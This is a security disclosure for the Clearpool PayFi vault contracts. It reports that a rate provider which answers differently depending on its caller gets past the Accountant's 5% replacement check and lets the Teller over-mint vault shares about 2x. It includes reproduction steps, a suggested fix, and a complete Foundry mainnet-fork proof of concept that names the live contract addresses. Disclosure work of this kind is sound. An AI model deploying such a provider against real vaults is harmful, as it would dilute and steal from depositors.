Security disclosure for Clearpool PayFi Vaults: Medium caller-sensitive rate provider bypass

[LoG1331]

I have been reviewing the Clearpool PayFi vault contracts during May 2026, primarily the clearpool-payfi-vaults repository at commit dccfd52659f3c00721554c7a09a55191ce36435c. I am submitting this through the documented GitHub Bug Reports channel so the Clearpool team can review and address it.

Project submission requirements checked on 2026-05-20:

• Submission channel: GitHub Discussions, Bug Reports category.
• Required content: detailed reproduction steps, PoC where applicable, and an Ethereum-based non-exchange wallet for payment.
• Payment address: I will provide an Ethereum-based non-exchange wallet address in a follow-up comment.

1. Executive Summary

Found 1 issue in total - Critical: 0, High: 0, Medium: 1, Low: 0. The issue is not anonymously exploitable, but it defeats the intended 5% rate-provider replacement guard for a privileged exchange-rate role and can cause vault shares to be over-minted against live deployed state.

2. Finding Details

2.1 Caller-sensitive rate providers can bypass the replacement deviation check and over-mint vault shares

Severity : Medium
Confidence : HIGH
Attack Complexity : MEDIUM
PoC Status : Confirmed

Description

The Accountant attempts to limit dangerous rate-provider replacement by probing the new provider in setRateProviderData() and comparing its returned rate against the prior effective rate. For an asset that was previously pegged, the prior effective rate is treated as 1e18, and a new non-pegged provider should be rejected if it differs by more than 5%.

The check assumes that the provider's getRate() result is independent of the caller. That assumption is not enforced. During registration, the call to getRate() is made by AccountantWithRateProviders. Later, when users deposit through TellerWithMultiAssetSupport, the Teller reads the provider address from the Accountant and calls getRate() itself. A malicious or compromised provider can return a safe value when msg.sender is the Accountant, then return an inflated value when msg.sender is the Teller.

This bypasses the 5% replacement cap while still affecting share minting. In the live fork PoC, USDC starts as a pegged asset with no rate provider. The exchangeRateBot role installs a provider that returns 1e18 to the Accountant probe and 2e18 to the Teller. The provider is accepted, and a 1 USDC deposit mints about twice the shares expected at the live 1:1 USDC valuation.

Location

• AccountantWithRateProviders.sol, setRateProviderData(), lines 283-326
• TellerWithMultiAssetSupport.sol, _erc20Deposit(), lines 560-578

Preconditions

• The attacker must control, compromise, or be delegated an account with UPDATE_EXCHANGE_RATE_ROLE or equivalent authorization to call AccountantWithRateProviders.setRateProviderData(). In the checked mainnet deployment, the configured exchangeRateBot can call this function.
• The target asset must be supported by the Teller and have enough deposit-cap headroom. In the checked mainnet deployment, USDC is supported, deposits are not paused, accessControlMode is 0, and the deposit cap is 50,000,000 base units.
• The attacker must deploy or choose a rate provider whose getRate() result depends on msg.sender or another caller-specific context.
• The attacker needs enough of the deposit asset to perform the over-minting deposit. The PoC uses 1 USDC.

Impact

A privileged exchange-rate role can install a provider that passes the Accountant's replacement check while causing the Teller to overvalue deposits and mint too many vault shares. The confirmed fork result is a 1 USDC deposit minting 1.989180845381967478 vault shares instead of the expected 0.994590422690983739 shares at the live exchange rate, about a 2x over-mint.

The impact scales with the inflated rate returned to the Teller and is bounded in practice by deposit-cap headroom, available vault liquidity, and any downstream redemption or market path for the over-minted shares. Once shares have been minted to the attacker, the effect is not automatically reversible without an explicit burn, compensation, or accounting correction.

Exploit Cost

The capital requirement is the deposit asset amount. The fork PoC uses 1 USDC. Gas cost includes deploying the rate provider, calling setRateProviderData(), approving the vault, and depositing through the Teller. The fork test reports 438,260 gas for the test transaction sequence, excluding the normal cost of deploying the test harness itself.

Steps to Reproduce

1. Fork Ethereum mainnet at block 25134116.
2. Confirm that USDC is configured as pegged with no rate provider in the live Accountant.
3. Deploy a rate provider that returns 1e18 when called by the Accountant and 2e18 when called by the Teller.
4. Impersonate the live exchangeRateBot on the fork and call setRateProviderData(USDC, false, provider).
5. Fund an attacker address with 1 USDC and approve the live vault.
6. Deposit 1 USDC through the live Teller.
7. Compare the received vault shares against the shares expected if USDC were valued at the live 1:1 rate.

Proof-of-Concept Result

PoC reference: poc_caller_sensitive_rate_provider.t.sol

Compiling 1 files with Solc 0.8.22
Solc 0.8.22 finished in 874.36ms
Compiler run successful!

Ran 1 test for test/poc_caller_sensitive_rate_provider.t.sol:PocCallerSensitiveRateProviderTest
[PASS] testPoC_liveForkCallerSensitiveProviderOverMintsShares() (gas: 438260)
Logs:
  live exchange rate: 1005439000000000000
  expected shares at 1:1: 994590422690983739
  minted shares via caller-sensitive provider: 1989180845381967478

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.35s (1.35s CPU time)

Ran 1 test suite in 1.35s (1.35s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Suggested Fix

Do not let Teller call arbitrary rate providers directly if the safety check was performed from the Accountant's caller context. A practical fix is to centralize asset-rate reads inside the Accountant and make the Teller call an Accountant function such as getAssetRateInBase(asset), so the registration check and the deposit-time pricing call execute through the same contract context.

I would also recommend moving setRateProviderData() out of the hot UPDATE_EXCHANGE_RATE_ROLE path and putting provider replacement behind protocolAdmin or a timelock. If fast operations still need to update ordinary exchange rates, keep that separate from provider installation. For additional defense in depth, consider an allowlist for provider implementations or code hashes, and add regression tests for caller-sensitive providers that return different values to the Accountant and Teller.

3. Attachments

• poc_caller_sensitive_rate_provider.t.sol - Foundry mainnet-fork PoC showing that a caller-sensitive provider passes the live Accountant replacement check and causes the live Teller to over-mint shares. The full source is included below.

4. Closing

Happy to answer questions or adjust the PoC if your internal deployment addresses differ from the public mainnet state I verified. You can reach me through the same channel where this report was submitted.

Best,
Phan Long

5. PoC Source

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.22;

/*
Target contract   : AccountantWithRateProviders at 0xabaBB2716eb6206789671bD4A66Ba6E57BaDaE64 and TellerWithMultiAssetSupport at 0x7A84305Cf9C75477e77f3Ff95bBca4e3f325c37f
Vulnerability     : Caller-sensitive oracle/rate-provider validation bypass leading to vault-share over-minting
Severity          : Medium
How to run        : Save this file as test/poc_caller_sensitive_rate_provider.t.sol in the clearpool-payfi-vaults repository, set MAINNET_RPC_URL, then run: forge test --match-path test/poc_caller_sensitive_rate_provider.t.sol --match-test testPoC_liveForkCallerSensitiveProviderOverMintsShares -vvv
Expected output   : The test passes and shows a 1 USDC deposit minting about 2x the shares expected at the live 1:1 USDC valuation.
Dependencies      : npm install && forge install --shallow --no-git
*/

import {Test} from "forge-std/Test.sol";

interface IERC20Like {
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

interface IAccountantLike {
    function setRateProviderData(IERC20Like asset, bool isPeggedToBase, address rateProvider) external;
    function rateProviderData(IERC20Like asset) external view returns (bool isPeggedToBase, address rateProvider);
    function getRateSafe() external view returns (uint256);
}

interface ITellerLike {
    function deposit(IERC20Like depositAsset, uint256 depositAmount, uint256 minimumMint)
        external
        returns (uint256 shares);
    function vault() external view returns (address);
}

interface IVaultLike {
    function balanceOf(address account) external view returns (uint256);
}

contract CallerSensitiveForkRateProvider {
    address internal immutable accountant;
    address internal immutable teller;

    constructor(address accountant_, address teller_) {
        accountant = accountant_;
        teller = teller_;
    }

    function getRate() external view returns (uint256) {
        // The Accountant probes the provider during registration. Return a safe value there.
        if (msg.sender == accountant) return 1e18;

        // The Teller later prices deposits through the same provider but from a different caller.
        if (msg.sender == teller) return 2e18;

        return 1e18;
    }
}

contract PocCallerSensitiveRateProviderTest is Test {
    address internal constant EXCHANGE_RATE_BOT = 0xE3FF7ccf609082BdA151F40790A1c9143B3a0663;
    IAccountantLike internal constant ACCOUNTANT = IAccountantLike(0xabaBB2716eb6206789671bD4A66Ba6E57BaDaE64);
    ITellerLike internal constant TELLER = ITellerLike(0x7A84305Cf9C75477e77f3Ff95bBca4e3f325c37f);
    IERC20Like internal constant USDC = IERC20Like(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);

    address internal attacker = address(0xA11CE);

    function testPoC_liveForkCallerSensitiveProviderOverMintsShares() external {
        // Reproduce the relevant live mainnet state at the read-only verification block.
        vm.createSelectFork(vm.envString("MAINNET_RPC_URL"), 25_134_116);

        address vault = TELLER.vault();
        uint256 depositAmount = 1_000_000; // 1 USDC, because USDC has 6 decimals.

        // Confirm the production starting state for the asset used in this PoC.
        (bool wasPegged, address oldProvider) = ACCOUNTANT.rateProviderData(USDC);
        assertTrue(wasPegged, "USDC starts as pegged in the live deployment");
        assertEq(oldProvider, address(0), "USDC starts without a rate provider");

        // Deploy a provider that is benign when the Accountant probes it, but inflated when Teller uses it.
        CallerSensitiveForkRateProvider provider =
            new CallerSensitiveForkRateProvider(address(ACCOUNTANT), address(TELLER));

        // The live exchangeRateBot has UPDATE_EXCHANGE_RATE_ROLE, so this succeeds on the fork.
        vm.prank(EXCHANGE_RATE_BOT);
        ACCOUNTANT.setRateProviderData(USDC, false, address(provider));

        // Confirm that the malicious provider was accepted into Accountant state.
        (bool nowPegged, address newProvider) = ACCOUNTANT.rateProviderData(USDC);
        assertFalse(nowPegged, "USDC was flipped to non-pegged provider mode");
        assertEq(newProvider, address(provider), "caller-sensitive provider was installed");

        // Give the attacker 1 USDC and approve the vault, matching the real deposit flow.
        deal(address(USDC), attacker, depositAmount);
        vm.startPrank(attacker);
        USDC.approve(vault, depositAmount);

        uint256 sharesBefore = IVaultLike(vault).balanceOf(attacker);
        uint256 minted = TELLER.deposit(USDC, depositAmount, 0);
        uint256 sharesAfter = IVaultLike(vault).balanceOf(attacker);
        vm.stopPrank();

        // Baseline: with USDC valued at 1e18, this is the share amount expected at the live vault rate.
        uint256 liveExchangeRate = ACCOUNTANT.getRateSafe();
        uint256 expectedSharesAtOneToOne = uint256(1e18) * 1e18 / liveExchangeRate;

        emit log_named_uint("live exchange rate", liveExchangeRate);
        emit log_named_uint("expected shares at 1:1", expectedSharesAtOneToOne);
        emit log_named_uint("minted shares via caller-sensitive provider", minted);

        // The credited balance matches the return value, and the attacker receives about twice the fair shares.
        assertEq(sharesAfter - sharesBefore, minted, "minted shares were credited");
        assertGt(minted, expectedSharesAtOneToOne * 19 / 10, "deposit over-minted by about 2x");
    }
}